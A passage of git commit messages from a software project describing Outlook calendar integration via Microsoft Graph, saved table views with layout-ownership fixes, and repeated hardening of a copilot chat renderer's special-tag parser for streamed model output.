one Microsoft connection covers mail and calendar. Existing connected users must
reconnect to be granted the new scopes (noted in a code comment). Adds human-readable
scope descriptions and test assertions.
* feat(outlook): add Microsoft Graph calendar tools
Six calendar operations against graph.microsoft.com/v1.0: list events (calendarView
with nextLink paging), get, create, update (partial PATCH), delete, and respond to
invites. Shared calendar-utils handles Graph's offset-less dateTime+timeZone shape,
attendee normalization, and event flattening. All tools carry the Microsoft Graph
error extractor and 429/backoff retry (honors Retry-After) for the mailbox concurrency
limit. Registered in the tool registry and barrel.
* feat(outlook): surface calendar operations in the Outlook block
Add six calendar operations to the Outlook block operation dropdown with their
conditional subBlocks, tool wiring, inputs, and event-shaped outputs. Mail operations
are unchanged and backward compatible.
* fix(outlook): address calendar review findings
- Validate list-events pageToken origin with assertGraphNextPageUrl (matches the
onedrive/microsoft_ad Graph paging guard) so a workflow-supplied URL can't receive
the Outlook bearer token.
- All-day create/update now normalize both bounds to midnight and force an exclusive
end day (buildAllDayRange), instead of sending a zero-length same-midnight window
that Graph rejects.
- Drop the stale 'suggest meeting times' claim from the block longDescription.
- Remove the unused MailboxSettings.Read scope (least privilege; no tool reads it).
* feat(outlook): add calendar picker and harden calendar tools
Validation pass over the new Microsoft Graph calendar operations against the
v1.0 API docs, plus the calendar selection the tools were missing.
- Add an `outlook.calendars` picker (GET /me/calendars) with basic selector +
advanced manual ID, wired through the `calendarId` canonical param. List and
create now target `/me/calendars/{id}/...`; get/update/delete/respond keep
using `/me/events/{id}` since event IDs are mailbox-unique.
- Fix all-day update rejecting when only one bound is supplied — both bounds are
now normalized to midnight with an exclusive end day.
- Fix "Send Response to Organizer" reading as OFF while Graph's default is to
notify; it is now a dropdown defaulting to Yes, and the param is always sent.
- Add timestamp wandConfig to the four calendar datetime fields and a list
wandConfig to attendees.
- Centralize Graph URL construction in calendar-utils; guard maxResults against
non-numeric input and trim the calendarView time-window bounds.
- Add three calendar templates and four calendar skills to OutlookBlockMeta.
- Regenerate integration docs.
* fix(outlook): scope online-meeting comments to what Graph documents
onlineMeetingProvider is optional and defaults to unknown; the docs state that
setting isOnlineMeeting alone initializes onlineMeeting. They do not document
Graph substituting the calendar's defaultOnlineMeetingProvider, so the comments
now claim only that, plus the real reason not to pin teamsForBusiness (mailboxes
that disallow it via allowedOnlineMeetingProviders).
* fix(outlook): allow calendar paging without re-supplying the time window
Cursor Bugbot round: startDateTime/endDateTime were required tool params, so a
paging call carrying only pageToken failed validateToolParameters before the
request was built — even though the url builder short-circuits on pageToken and
ignores both bounds. Relax them to optional and enforce the real invariant
(pageToken OR both bounds) in the url builder, matching
tools/sharepoint/list_sites.ts. Block subblocks stay required, so the normal
editor flow is unchanged.
Also correct the calendar_respond comment: Graph documents exactly two 400
conditions for accept/decline, both on proposedNewTime, which we never send.
A non-empty comment alongside sendResponse=false is valid.
* feat(outlook): add Calendars.ReadWrite.Shared for shared calendars
The calendar picker lists /me/calendars, which can include calendars other
users have shared with or delegated to the account. Calendars.ReadWrite covers
only the user's own calendars, so selecting a shared team calendar would 403 on
both read and write.
Calendars.ReadWrite is kept alongside it, not replaced: Graph documents it as
the sole accepted permission for creating and updating events and for
accept/tentativelyAccept/decline (all list "Higher: Not available"), so the
.Shared scope does not subsume it.
Added now rather than later because this PR already forces existing Outlook
users to re-consent for Calendars.ReadWrite; deferring would cost them a second
reconnect.
* fix(outlook): treat date-only bounds as all-day and guard partial all-day updates
Cursor round 2:
- Date-only bounds no longer produce a zero-length window. The param docs invited
a date like 2025-06-03 for an all-day event, but buildAllDayRange only ran when
isAllDay was explicitly true, so date-only input built a 00:00->00:00 timed
window that Graph rejects. A date-only bound carries no time, so the only
coherent reading is all-day; create/update now promote on that shape and the
descriptions state it.
- Converting an event to all-day with no bounds now fails with an actionable
message instead of a Graph 400. Graph requires all-day events to have midnight
start and end in the same zone, and those cannot be derived from a partial
PATCH against an event whose existing bounds are timed.
* docs(outlook): note that the calendar window fields are ignored when paging
* fix(outlook): don't promote a lone date-only bound to all-day on update
Regression from the previous round's date-only promotion. A single date-only
startDateTime or endDateTime satisfied "all provided bounds are date-only", so
the tool promoted to all-day and derived the missing side from the supplied one
— turning a partial reschedule of a timed or multi-day event into a one-day
all-day event and dropping the original other bound.
Implicit promotion now requires BOTH bounds to be date-only, matching
calendar_create_event. A lone date-only bound is ambiguous (convert to all-day,
or just move that edge?) and a PATCH cannot read the event's existing bounds to
disambiguate, so it stays on the timed path and leaves the other side untouched.
Deriving a missing bound remains allowed when isAllDay is set explicitly, since
that is stated intent rather than a guess.
Also pins the explicit-isAllDay-false + date-only override with a regression
test: the block always sends isAllDay for create, so an untouched switch arrives
as false, and the data shape has to win or the fix would be unreachable from the
UI.
* revert(outlook): drop Calendars.ReadWrite.Shared from the outlook provider
Reverts the scope I added two rounds ago. It was the wrong call.
This provider is shared by work/school AND personal Outlook accounts, and the
.Shared calendar scopes are not confirmed supported for personal Microsoft
accounts. Requesting one risks failing consent for personal users — which would
take mail access down with it, breaking functionality that works today. The PR
already documents this exact reasoning as why findMeetingTimes was excluded, and
that decision was made against a live personal mailbox.
The evidence I added it on was a summarized read of the permissions reference
claiming MSA support; a targeted follow-up could not confirm it for
Calendars.ReadWrite.Shared specifically. Given the asymmetry — broken consent
for all personal users vs. a shared-calendar feature gap — least privilege wins.
Calendar operations therefore target calendars the account owns. The calendarId
param descriptions now say a calendar shared by another user may return 403, and
the scope list carries a comment explaining why .Shared must not be re-added.
* fix(outlook): make retried event creates duplicate-safe via transactionId
The retry config opts POSTs in via retryIdempotentOnly:false, but the executor's
isRetryableFailure covers 429 AND 500-599 — not just the throttle the comment
justified. A 5xx returned after Graph had already committed a create would be
retried and produce a duplicate calendar event.
create_event now sends a transactionId, which Graph documents for exactly this:
it discards a repeat POST carrying an id it has already seen. The request body is
built once per execution (formatRequestParams runs before the attempt loop), so
the id is stable across retries of a call and unique between calls.
The retry comment now describes what actually retries and why each non-idempotent
method is safe: PATCH replays the same partial body as a no-op, and respond is
state-idempotent though a post-commit retry can send the organizer a second
notification — accepted deliberately, since Graph exposes no transactionId for
accept/decline and failing outright under throttling is worse.
* fix(outlook): tighten date-only detection and align online-meeting copy
Final validation pass over the calendar integration.
- isDateOnly matched "contains no T", so a space-separated datetime
(2025-06-03 10:00) counted as date-only: the time was discarded and the value
built as '2025-06-03 10:00T00:00:00', which Graph rejects. It now matches
YYYY-MM-DD strictly, and buildGraphEventDateTime normalizes the space form to
ISO rather than mangling it, so a natural input works instead of 400ing.
- The isOnlineMeeting param descriptions still claimed Graph 'uses the mailbox
default provider' — the same unverified mechanism already removed from the code
comments. They now state only what the docs and the author's live testing
support: the join URL depends on the providers the mailbox allows, and stays
null on personal accounts.
- Adds blocks/blocks/outlook.test.ts following the repo's per-block test
convention: every calendar operation resolves to a registered tool in
tools.access, supplies all required tool params, emits no params the tool
cannot accept, maps one-to-one onto the calendar tools, and the calendarId
canonical group and sendResponse default are pinned.
---------
Co-authored-by: Waleed Latif <walif6@gmail.com>
Co-authored-by: Bill Leoutsakos <billleoutsakos@Bills-MacBook-Pro.local>
…g to a document (#6055)
* feat(tables): saved views with filter, sort, and column presets * fix(tables): views own column layout, preserve deep-linked sort, seed update cache * fix(tables): merge view layout writes server-side, keep layout on save-from-All * fix(tables): send view saves as a merge patch so concurrent writes can't clobber * fix(tables): persist explicit All selection, prune view state for deleted columns * fix(tables): key-order-stable dirty check, reset layout when switching to All * fix(tables): return 404 when patching a missing view * improvement(tables): order the bar filter, sort, columns and drop the hidden count * fix(tables): record newly created columns in the active view's order * fix(tables): don't write layout as a reader, clear dead sort, reset dead view id * feat(tables): add New view to the views menu, starting from All * chore(api): bump route-count baseline to 981 after staging merge * fix(tables): guard default demotion, use the applied filter for dirty/save * fix(tables): clear state when the active view is deleted externally * revert(tables): drop the ineffective rows-query gate for view resolution * feat(tables): enable saved views in the embedded mothership table * fix(tables): resolve the views flag on the chat route too * improvement(tables): right-align the embedded run/stop control * fix(tables): live layout on new views, prune stored config, order cache writes * fix(tables): live layout on save-as-view, reset it per view, ignore inherited param when embedded * fix(tables): route undo/redo column-layout writes to the active view * fix(tables): scope layout undo to the view that recorded it Layout is view-owned, but UndoEntry carried no owner, so the persistence sink — rebound every render to the active view — decided the target at undo time rather than at record time. Reordering in view A then undoing from view B wrote A's column order into B and left A unchanged. Entries are now stamped with the active view id, and the three layout-bearing action types (create-column, delete-column, reorder-columns) are pruned from both stacks when the active view changes. Row and schema actions are table-scoped and survive the switch untouched. Inert when views are disabled: the id is always null, so nothing is ever pruned. * fix(tables): send only the layout keys an action changes Pin, reorder, and insert-column each shipped a full columnWidths snapshot they never modified. Both sinks merge at top-level key granularity, so an earlier-issued patch landing after a concurrent resize replaced the newer width map with its stale copy. Resize, auto-resize, and delete-column still send columnWidths — those genuinely change it. * fix(tables): don't strand layout writes while views load, keep schema undos across views Two more instances of layout being written without a known owner. The sink was left unbound until a view resolved, so a resize/reorder/pin (or the column-append effect) during the views fetch fell through to the table's shared metadata — corrupting All for a table about to adopt a view, and losing the edit to the re-seed. The sink is now bound while the query is in flight and suppresses the write. An error counts as settled, so a failed views fetch falls back to All instead of suppressing layout writes for the session. Pruning was also too broad: create-column and delete-column are table-scoped schema ops that merely have a layout side-effect, so dropping them on a view switch made a deleted column unrecoverable. Only reorder-columns is purely layout and still prunes; the other two survive and have just their layout half suppressed at replay when the recorded view isn't active. * fix(tables): flush layout buffered during load when the owner settles to All Suppressing the write while the views query was in flight stopped All from being corrupted, but nothing resolved the buffer afterwards, so a resize during load looked applied and vanished on refresh. Settling on All re-seeds nothing (viewLayoutKey never changed), so the gesture is still on screen and is now persisted to shared metadata. Adopting a view re-seeds the grid from that view and has already replaced the gesture on screen, so the buffer is dropped to match. * fix(tables): resolve undo layout ownership at write time, not dispatch time The layout writes for column create/delete happen in mutation success callbacks, and persistLayoutRef is rebound every render. Resolving entryOwnsLayout up front meant the guard could still hold from before a view switch while the sink it guarded already pointed at the destination, writing the recorded view's layout into whichever view was now active. Now a function, so the guard and the sink are read at the same moment: switch away mid-mutation and the schema half still lands while the layout half is dropped, matching the rule that undo only ever affects the view on screen. * fix(tables): read layout from the grid instead of mirroring it The wrapper kept two shadow copies of the grid's column layout — liveLayoutRef and pendingLayoutRef — and all three of this round's findings were that mirror going stale: - liveLayoutRef was only cleared on activeView.id change, so widths buffered before the views query settled survived into All, where layout writes bypass the mirror entirely. Both create paths spread it last, so a saved view stored those snapped-back widths. - currentViewConfig memoized a spread of that ref, and mutating a ref doesn't re-run a memo, so Save as view sent the pre-gesture layout. - The flush effect keyed on activeView, but adoption writes the view id through the URL, so for one render the query had settled while activeView was still null — flushing to All in exactly the case that had to drop. The grid owns this state, so it now publishes a reader through a sink ref and the wrapper asks at the moment it needs a value. Nothing to keep in sync, so nothing to go stale. Only whether an unowned change happened is tracked, and the resolve effect — which is what actually picks the owner — decides to persist or drop. * fix(tables): flush unowned layout when the views fetch fails The resolve effect is the only caller of resolvePendingLayout and gated on isSuccess, which never becomes true on a query error — so layout touched during the load window was never persisted on the error path, even though the table had already settled to All and later writes worked. The error branch now flushes to shared metadata, matching the rest of the error path's fall-back-to-All behavior. * fix(tables): gate the on-screen layout restore by ownership, not just the persist The undo success callbacks applied the recorded view's order/widths/pinning to the grid unconditionally and only gated the PATCH, so switching views before a column create/delete mutation resolved left the destination displaying the origin view's layout until switched away and back. Each callback now checks ownership where its layout work begins: three are purely layout and return at the top; delete-column undo restores cell data first (row data, runs everywhere) and gates only the layout block below it. In a non-owning view the restored column still appears via the grid's append effect — at the end, leaving that view's layout untouched. * fix(tables): route all layout writes through one owner-aware sink, reconcile order at seed Two holes closed: The sink binding toggled on activeView, leaving a render-frame gap after the views query settled but before the resolve effect adopted a default — writes in that gap fell through to shared metadata. The sink is now always bound while views are enabled and handlePersistLayout is the single router, reading the owner at call time: unresolved buffers, a view patches the view, All writes metadata. The error branch stamps the owner so post-error writes stop buffering. The append effect only fires when the schema changes, so a column that arrived while another source owned the layout rendered via the displayColumns fallback but was never written into the adopted owner's stored order until a drag happened to heal it. Seeding now reconciles the incoming order against the schema and persists the appended tail through the current sink. * fix(tables): capture the layout owner when a schema action is dispatched Insert-column and the delete chain persist layout from mutation callbacks through updateMetadataRef, which always targets the current sink — so a view switch mid-flight wrote the origin view's order/widths/pins into the destination. Undo got this guard already; the live paths never did. Both now capture viewLayoutKey at dispatch and compare at the callback. On a mismatch the layout work is skipped: the destination re-seeded its own layout, the new column lands there via the append effect when the refetch arrives, and the deleted column's dangling keys are pruned on read. pushUndo also takes the captured owner as an override — stamped at callback time it would record the destination, letting a later undo apply the origin's layout to it. * fix(tables): resolve views on list availability, not query success A failed background refetch flips isError while the cached list stays usable, and every view mutation invalidates the views query — so one blip made the resolve effect treat views as terminally failed and stop applying switches until the next successful refetch. The axis is now whether a list exists: error with no list ever fetched settles to All; error with a cached list resolves normally against the cache; owner is unknown only while the initial fetch is in flight. * ci: raise Build App timeout to 25 minutes The build outgrew the 15-minute cap over the last two days of merges: 10m02 (c6acc62), then 14m44 after the folders/desktop/library batch (adc557a, 16s under the limit), then two consecutive timeouts on 7b1af41 after the outlook merge. Staging's own latest runs show the same signature (one cancelled). GitHub labels a job timeout "cancelled", which is why these read as cancellations.
…esolve (#5952) * fix(copilot): render unclosed special tags as text on completed messages The special-tag parser suppressed everything after an opening tag with no close, even after streaming ended — so an assistant message that merely MENTIONED `<workspace_resource>` in prose lost its entire remainder in the UI. The stream itself completed fine; only the render truncated. Suppression now applies only while streaming. A completed message can never finish an unclosed tag, so the marker was literal text and the remainder is rendered as-is. Originally written alongside the docs/ VFS work and reverted at review time to keep that PR to one concern; this restores it on its own. * improvement(copilot): show text as soon as an unclosed tag cannot resolve Restoring the text only at end of stream left a real gap: once the model mentions a tag in prose, everything after it stays invisible for the rest of the stream and reappears in one jump when streaming stops. On a long reply that is most of the message. Two properties let us decide much earlier, both conservative — they only fire on content that could not have parsed: - Tags never nest, so any special-tag marker inside the body (opening OR closing, not just a mismatched close) proves the opener was literal text. - JSON-bodied tags must start with `{` or `[`, so the first non-space character settles it — prose after the marker is caught on the very next chunk rather than at the end. The second is per-tag, not global: `thinking` bodies are prose by design (parseTextTagBody), so the JSON rule cannot apply there and only the nesting rule can rescue it. A test documents that remaining gap rather than leaving it implicit. A false positive is cheap by construction: text shows early and the end-of-stream parse still produces the correct final render. * fix(copilot): ignore tag syntax quoted inside a JSON tag body The nesting rule treated any tag marker in the body as proof the opener was literal text. But a JSON body can legitimately quote tag syntax — a `<question>` asking which tag to use, a `<workspace_resource>` whose title mentions one — and that is exactly the "model explains its own tags" situation this whole fix exists for. Bailing there is the one expensive false positive in the design: the raw JSON renders and STAYS for the rest of the stream, then snaps into a card when the real close arrives. More jarring than the bug being fixed. For JSON-bodied tags the nesting scan now runs over a copy with string literals blanked (escape-aware, and tolerant of the unterminated trailing string that is normal mid-stream). Markers in real body position still count. `thinking` is unaffected — its body is prose, so there are no strings to confuse it. Tests cover both halves: the streaming case does not bail, and the same body resolves to a question card once it closes. * fix(copilot): keep prose a mispaired tag would swallow, and bail on dead JSON Two more real cases from traces, both of which the earlier heuristics missed. 1. A MATCHED pair whose body fails to parse was silently dropped, cursor and all. When the model explains tag syntax and ends with a backticked example containing a real closing tag, that example closes an EARLIER opener and three paragraphs become the "body" — which is not valid JSON, so the whole span vanished and the render resumed mid-sentence (trace b095e080). Now emitted verbatim, but only when the body contains a tag-shaped marker, which is what shows the pairing was wrong. A marker-free body that merely fails validation is a genuinely malformed agent payload and keeps being dropped — an existing test asserts that deliberately, and showing the user raw JSON there would be a regression. 2. The JSON heuristic only checked the FIRST character, so `{"type":"file"}</workspac and then prose...` looked viable forever: it opens with `{`, and the truncated close is not a marker any rule can see (trace afbeefd0). Track depth instead — once the top-level value closes, any non-whitespace after it is fatal, so the stray character decides it immediately. String contents are blanked first so braces inside strings do not skew the count. * fix(copilot): keep prose a tag wrapped instead of a JSON payload Third real case from a trace (1206fd8a): `<workspace_resource>the gmail-agent workflow</workspace_resource>` — a matched pair whose body is plain prose. The sentence rendered as "...once I wired up to handle the welcome sequence" with its subject silently removed. The marker test could not fire (prose contains no tag markers), so it fell to the deliberate drop-malformed-payload path. But that path exists for an agent emitting BROKEN JSON, not for a tag wrapping prose. The distinction is whether the body was ever an attempted payload, which isViableJsonPrefix already answers: `{"type":"single_select"}` is a well-formed JSON value failing its shape guard and keeps being dropped; `the gmail-agent workflow` was never a payload and is emitted. * refactor(copilot): resolve each special tag through four named outcomes parseSpecialTags had grown five inline branches, each added for a specific malformation found in a trace. The shape made "drop it" the implicit fallback, which is how spans that were never malformed payloads ended up silently swallowed. Extracts resolveTagAt, returning one of four named outcomes — segment, literal, discard, pending — so each decision is explicit and the main loop just dispatches on it. Fixes a latent bug the old shape hid: rejecting an unclosed tag ran `break`, abandoning the rest of the message, so a genuinely valid tag after a literal mention was never parsed. Resolution now resumes just past the rejected opener and scanning continues. Test added. Two behavior notes: - Rejected spans are emitted in smaller pieces. The renderer concatenates adjacent text segments into one markdown string, so this is display-neutral; the two tests that asserted exact segment arrays now assert joined text. - Each opener is judged on its own evidence. Previously one verdict ended the whole parse, so a nested opener released everything; now the outer is released immediately and the inner is a fresh candidate that can still hold mid-stream. It resolves at end of stream either way. * test(copilot): pin the no-closing-tag case as lossless Fourth malformation from a trace (220cc02d): the model wrote an opening tag with valid JSON and no closing tag of any kind. No marker rule can fire — there is no marker — but the JSON value completes and prose follows, which the depth rule settles at the first space after the `}`. Already handled by that rule; this pins it. Asserted as lossless rather than merely visible: mid-stream and complete, every character of the message survives, so nothing waits for the stream to end. * fix(copilot): stop the literal path flashing payloads and rescanning the buffer Review round on the four-outcome rewrite. Three defects in how an opener is judged, plus the cost of judging it. A valid tag showed its raw payload as text while its closing marker streamed in. The JSON value closes at the `}`, so a half-arrived `</opt` read as stray trailing content and settled the tag as unresolvable. Every JSON-bodied tag hit this, and most replies carry a trailing <options> block. dropArrivingClose now ignores a trailing fragment that could still grow into this tag's own close. Evidence that a close is genuinely wrong still lands immediately: a misspelled `</workflow_resource>` is not a prefix of `</workspace_resource>`, and a truncated `</workspac` stops being one the moment prose follows it. bodyIsLiteralText scanned the raw body for tag markers while its streaming counterpart blanked JSON string literals first. A payload that failed its shape guard and legitimately quoted tag syntax was therefore called literal text and rendered as raw JSON, which is what discard exists to prevent. Both paths now judge the same blanked body. An opener whose own close was misspelled reached forward and matched the NEXT tag's close, swallowing a valid resource into one literal span and destroying its chip. When markers in the body prove the matched close belongs to a different opener, resolution resumes past the opener so the interior is rescanned and the inner tag still renders. Cost: resuming past a rejected opener instead of abandoning the message made each parse O(openers x length), and the parse re-runs for every streamed chunk. A 40KB reply repeatedly mentioning a tag name cost 7.3s of blocked main thread. The unclosed-body inspection is now bounded, since both rules decide on their first piece of evidence, and the opener and close lookups are memoized per parse rather than rescanning to the end of the buffer for every opener. Same message: 1.2s. A realistic 40KB reply with 8 mentions: 0.35ms per parse, 28ms across the entire stream. Also derives JSON_BODY_TAG_NAMES from SPECIAL_TAG_NAMES so a new tag cannot silently fall back to the weaker prose heuristics; deletes a docstring the rewrite orphaned above TAG_SHAPED_MARKER; corrects one still describing the first-character check that depth tracking replaced; drops a test duplicating one already in the file; and fixes a test that named the no-nesting rule but passed with that rule deleted, because its JSON closed before the marker. * refactor(copilot): drop the JSON-prefix wrapper the split orphaned Splitting isViableJsonPrefixOf out so callers that had already blanked the body would not pay for a second pass left isViableJsonPrefix behind with no callers. Both call sites blank the body for their own marker scan first, so the wrapper has nothing left to do. Biome does not flag it, so it would have sat there indefinitely. The wrapper's docstring carried the actual argument for depth tracking over a first-character check, which is the non-obvious part of the function; it moves onto isViableJsonPrefixOf rather than being deleted with it, along with the already-blanked precondition its callers rely on. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * refactor(copilot): drop the nested-marker scan the JSON rule already covers The unclosed-tag check ran two rules over every JSON body: a scan for nested special-tag markers, then a JSON-viability test. The scan earned nothing there. A marker outside a string literal is stray content the viability rule already rejects, and a marker inside one is legitimate quoted syntax the scan is explicitly blanked to ignore. It cost 14 substring scans per opener per streamed chunk to catch nothing. Verified by deletion rather than by argument: with the scan disabled for JSON-bodied tags, the only failures were the two tests written for the scan itself, and neither is trace-derived. One documents its own contrivance — the array is left unclosed on purpose because a closed value would let the JSON rule decide it. Every test pinned from a real message still passes. The rule stays for the prose-bodied tag, where a body that is not JSON leaves nesting as the only available evidence. The foreign-close test moves to <thinking> to cover it there; the marker-outside-strings test goes, since its premise was the scan. One narrow case regresses: stray non-JSON content inside a still-open structure (`<question>[{...} </options>`) now stays hidden until the stream ends rather than settling mid-stream. Depth tracking counts brackets, it does not validate syntax. Self-healing at end of stream, and buying it back means a real JSON prefix validator — more machinery than the case is worth. Also pins two behaviors that had no coverage and would have been "simplified" away. The two literal reasons resume at different offsets: never-a-payload must resume past the CLOSE, because resuming past the opener rescans an interior whose quoted markers the blanked scan never saw, re-parsing a tag inside a JSON string and dropping it. Collapsing the reasons passes all 54 existing tests and silently deletes text. Escape handling in the string blanker is likewise only observable through depth skew. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): stop the rescan deleting quoted text, and bound its cost Review found the foreign-markers rescan reintroducing the failure this branch exists to remove. Three fixes, each with a mutation-checked regression test. The rescan decides on the BLANKED body but resumes at the opener and re-scans the RAW one, so a tag quoted inside a JSON string — invisible to the decision — is re-parsed as a real tag on the second pass and dropped. A question whose prompt quotes a <credential> example rendered with the quoted payload deleted. Resolution now resumes at the offset of the marker that actually survived blanking, so the quoted region is skipped and emitted verbatim. Promotion of a quoted tag into a live control is not reachable: quotes inside the outer JSON string must be escaped, so the inner body never survives JSON.parse. That offset is taken from the blanked copy and applied to the raw body, which makes index preservation load-bearing rather than decorative. A blanked astral character emitted one space for two UTF-16 units, shifting every later offset left; it now emits char.length. No test pins this — the drift only moves a text segment boundary, and adjacent text segments concatenate — so the invariant is stated in the docstring instead of guarded by a test that cannot fail. The matched-pair body had no size cap, unlike the unclosed path. A borrowed close stretches one body across most of the message, and the scan reruns for every opener inside it on every streamed chunk. A 58KB reply of that shape — organic, it is trace b095e080's own mechanism — cost 242ms per parse on the main thread, and the parse reruns per chunk. Bounding the scan to MAX_UNCLOSED_BODY_SCAN brings it to 35ms. The bound needed a guard the reviewers' version omitted: when only a prefix was inspected, finding no reason is not evidence the body was a payload, so it resolves to literal rather than discard. Without that, capping converts unexamined bodies into silent deletions — the naive fix would have caused the bug it was meant to prevent. Finally, pushText dropped whitespace-only spans. Harmless when failed tags were dropped whole; the literal path emits a rejected span in pieces, so a blank line between two of them vanished and two markdown paragraphs merged. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test(copilot): assert what a reader sees, and pin the unclosed-thinking trade Review found several tests asserting only `hasPendingTag`. That boolean can be correct while a wrong resumeAt drops the trailing prose — the exact defect twice fixed on this branch — so those tests could not have caught it. They now assert the rendered text alongside the flag. Adds renderedText(), since a dozen tests hand-rolled the same map/join, and switches two discard tests off exact segment-array equality onto it. How a span splits across adjacent text segments is not observable: the renderer concatenates them. Pinning the array shape only breaks on refactors that change nothing a reader sees, which is what those two did. Adds a frame-replay test. Everything else asserts one end state, so nothing covered behavior BETWEEN streamed frames, where a card could render and then revert. replayFrames() parses every growing prefix and asserts card count never decreases — appending can only add closes after the ones already matched, so no earlier opener's resolution can change. Pins the unclosed-<thinking> behavior as a deliberate trade rather than leaving it incidental: hidden while streaming, shown once the stream ends. Hiding is the right mid-stream default because a close is still plausible and `thinking` renders as nothing anyway. Showing it at the end does leak reasoning when the close never arrives, which is accepted — that is rare, and keeping it hidden would swallow the answer whenever the model opened the tag and then wrote the reply without closing it. Not taken: the reviewer suggestion to swap the prose path's tag-name scan for TAG_SHAPED_MARKER. It matches any `<foo>`, and thinking bodies are prose that legitimately discuss markup, so it would release those bodies early and make the leak above more frequent — the opposite of the default just chosen. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(copilot): name the scan window's blind spot instead of glossing it Bugbot is right that the window can hide a streaming tail, and the docstring said the bound "reaches the same verdict as the full remainder for any real payload" — true for every payload a tag carries, but it read as unconditional and hid the exception. The exception, now stated and pinned by a test: a JSON body whose top-level value closes BEYOND the window, followed by prose and no closing tag, still reads as a viable prefix, so the remainder waits for the stream to end instead of settling mid-stream. Lossless — the completed parse renders every character — and it needs a payload several times larger than any tag emits. A mention in prose settles at its first character at any length, because prose does not open with a brace; the test pins that half too, since it is the case that actually occurs. Not widening the window: the bound is what took a 58KB borrowed-close reply from 242ms to 35ms per parse, on the main thread, re-run every chunk. Trading a measured freeze for a hypothetical one is the wrong direction. The docstring also now covers the matched-pair path, which the same constant bounds since the previous commit. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): make the indexOf cache correct for any call order The cache was safe only under a precondition the code could not enforce: that `from` never decreases within a parse. Violating it does not throw — a stale index is returned and the parser silently mis-parses, which is the exact failure class this branch exists to remove. Each entry now records the offset it was searched at, and is reused only when the new `from` is at or beyond it. A cached -1 still answers any later `from`, since absence from an earlier offset implies absence from a later one; a cached hit still answers when it lies ahead of `from`. Anything else rescans. The precondition held and still holds — every non-pending outcome resumes strictly past its opener. But it is a property of resolveTagAt's resume points, not of this function, and one of those points deliberately resumes back inside a span it already examined. Someone adjusting a resume point should pay a redundant scan, not corrupt a parse. Verified by mutation: reverting the guard fails the new backward-cursor test and nothing else, so the guard is load-bearing and the monotonic path is unchanged. Same-content benchmark on a 79KB reply: 3.13 ms/frame before, 2.96 after — the entry object is allocated only on a real scan, which is already bounded. memoizedIndexOf is exported for the test. The invariant cannot be provoked through parseSpecialTags, because the cursor does not walk backward today; that is the whole point, so it has to be exercised directly. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): resume at the window edge, not past the close, on a truncated body Regression from the scan bound added two commits ago. When a borrowed close stretches a body past MAX_UNCLOSED_BODY_SCAN and the inspected prefix is marker-free prose, resolution resumed past the borrowed close — skipping the uninspected remainder entirely. A valid tag sitting in that remainder was flattened to plain text purely because of which side of the window it landed on. Measured: with ~1KB of prose before it the chip rendered, with ~6KB it did not. A verdict drawn from a prefix — "prose", or no verdict at all — says nothing about the rest of the body, so resumption now lands on the first character that was NOT inspected. Everything inspected is still emitted as text by the caller, and scanning continues into the remainder, so the tag renders. Ordering matters: foreign-markers keeps priority, since a marker found inside the window is a real offset and resuming there is strictly earlier and safer. No text was ever lost in this case — it stayed lossless throughout — but a destroyed chip is a real regression, and it was introduced by the fix for the previous one. Cost is bounded: each truncated step advances a full window, so a long body costs body-length/window re-entries rather than one scan per character. A 117KB borrowed body parses in 0.1ms. Verified by mutation: restoring the old resume point fails the new test at 6KB and 60KB and nothing else. The test asserts three lengths so the boundary itself is covered rather than one side of it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): only discard a body that actually parsed as JSON `discard` fired on any body parseSpecialTagData rejected, which conflated "is not valid JSON" with "is valid JSON of the wrong shape" — even though its own comment has always said "a well-formed value that failed its shape guard." The viability rule cannot separate them, because bracket depth reads `{the Q4 report}` as a viable JSON value. So prose someone wrapped in braces was deleted: I saved <workspace_resource>{the Q4 report}</workspace_resource> for you. -> I saved for you. along with the two commonest JSON slips a model makes, unquoted keys (`{type: "file"}`) and single quotes (`{'type':'file'}`). All three are text loss of exactly the kind this branch exists to remove. Dropping text is only defensible for a payload the agent actually formed, so discard now requires the body to parse. Anything that will not parse was never demonstrably a payload and is shown instead. A valid payload with the wrong shape still discards, which is the case the outcome was written for, and a valid tag still renders. Costs a second JSON.parse of a body that already failed one. That is the rare path: a valid payload returns before it, and prose is rejected by the cheaper viability rule before it. Verified by mutation: removing the gate fails the new test and nothing else. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): apply the nesting rule to a prose body on the matched-pair path too A prose body has no shape to fail — parseTextTagBody accepts any non-empty text — so <thinking> was the one tag whose close was accepted unconditionally. The unclosed path already refuses an opener whose body carries a tag marker, on the grounds that tags never nest. The matched-pair path did not, and the two disagreeing is the bug. Mid-stream a nested marker disproves the outer opener, so its text is released and the inner tag renders. When </thinking> finally arrived it was accepted as a segment, and everything already on screen was swallowed into it and suppressed: a <thinking>b <options>[...]</options> c -> "a <thinking>b [CARD] c" a <thinking>b <options>[...]</options> c</thinking> d -> "a d" A rendered card and its surrounding text disappearing from a message the reader was already looking at. Both paths now apply the same rule, and resolution resumes at the opener so the inner tag survives the rescan — safe here because prose bodies are never blanked, so no marker is hidden from the scan the way one can be inside a JSON string. The frame-replay helper counted a thinking body as visible text, which is why its card-monotonicity assertion could not see this. It now models the renderer: thinking contributes nothing. Verified by mutation — removing the rule fails the new test and nothing else. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test(copilot): assert parser invariants over generated messages Every regression review found on this branch was a combination nobody had written an example for. The example tests cannot cover the space: a body is judged on body kind, close state, JSON state, marker placement, size against the scan window, and streaming mode — a product of roughly six hundred cells, each needing both an outcome and a resume point. Four invariants over messages composed from fragments, so a new combination is covered without a new test: - no character is lost from a message containing nothing droppable - every valid tag renders as a card whatever surrounds it - across streamed frames a card never un-renders and text never retracts - the settled parse never shows less than the last streaming frame Fragments are the shapes the parser must reject — prose mentions, misspelled and truncated closes, brace-wrapped prose, unquoted keys, a nested marker in a prose body, filler long enough to cross the scan window. None is a valid tag or a well-formed payload, so nothing is eligible for discard, which is what makes "output equals input" a legal assertion. Seeded, so a failure reproduces. Validated against the three defects review found, with the fix for each reverted and only these tests running: the flattened tag past the window fails the card invariant, the deleted brace-wrapped 